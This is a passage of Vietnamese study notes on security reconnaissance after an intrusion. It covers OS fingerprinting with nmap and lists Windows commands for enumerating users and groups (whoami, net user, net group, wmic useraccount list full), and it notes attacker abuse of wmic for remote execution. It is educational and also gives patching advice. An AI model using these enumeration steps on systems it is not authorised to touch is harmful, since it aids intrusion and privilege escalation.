khác nhau sẽ có các dấu hiệu khác nhau). Một trong những công cụ tự động hóa kỹ thuật này đó là nmap - Một số hệ thống có thể modify packet trả về client nhằm giảm thiểu khả năng bị các công cụ như nmap phân tích và xác định thông tin về hệ điều hành - Đối với việc kiểm tra thông tin hệ điều hành sau khi đã vào được bên trong thì quá đơn giản, việc đơn giản này lại rất quan trọng đối với attacker - Với cương vị là quản trị hệ thống, ta sẽ cần cập nhật các bản vá của hệ điều hành thường xuyên nhằm tránh tạo cơ hội cho attacker ##### Check for other users and groups - Thông tin liên quan đến các users và groups trong một hệ thống cũng là một trong những thông tin vô cùng hữu ích đối với attacker - Dựa trên các thông tin này, attacker có thể thực hiện nhiều kỹ thuật tấn công khác như privilege escalation, password attack, remote session hijacking ###### Windows - Một số câu lệnh có thể được sử dụng để tìm kiếm thông tin về các users và groups bằng cmd: ``` whoami => xem user hiện tại net user => xem tất cả user tồn tại trên hệ thống net group => xem tất cả các groups tồn tại trên hệ thống wmic useraccount list full => xem toàn bộ thông tin của tất cả các user trên hệ thống ``` - `net` là một câu lệnh CLI cho phép thực hiện các tác vụ lên các groups, users, các policies đối với các users (ví dụ như quy định password tối thiểu dài bao nhiêu, thời gian bị lock khi login sai quá nhiều), ... - **wmic** là một tiện ích của windows, cung cấp giao diện dòng lệnh hỗ trợ các người quản trị hệ thống giúp người quản trị lấy được các thông tin về phần cứng, phần mềm, config, các app đã cài cũng như thực hiện vô vàn tác vụ khác trên một hệ thống (local hoặc remote) thông qua WMI (một công nghệ của windows cho phép các admin, dev truy cập và điều khiển tài nguyên trên một máy tính). - Ngoài việc được sử dụng bởi các IT administrator, công cụ này còn được lợi dụng bởi các attacker để truy cập bất hợp pháp vào các hệ thống và thực thi các câu lệnh từ xa. **wmic** mặc định được enable trên windows và các hacker thì sẽ rất thích những thứ có sẵn do nó sẽ giúp attacker bớt tốn công sức cũng như ít bị phát hiện hơn ``` wmic /node: |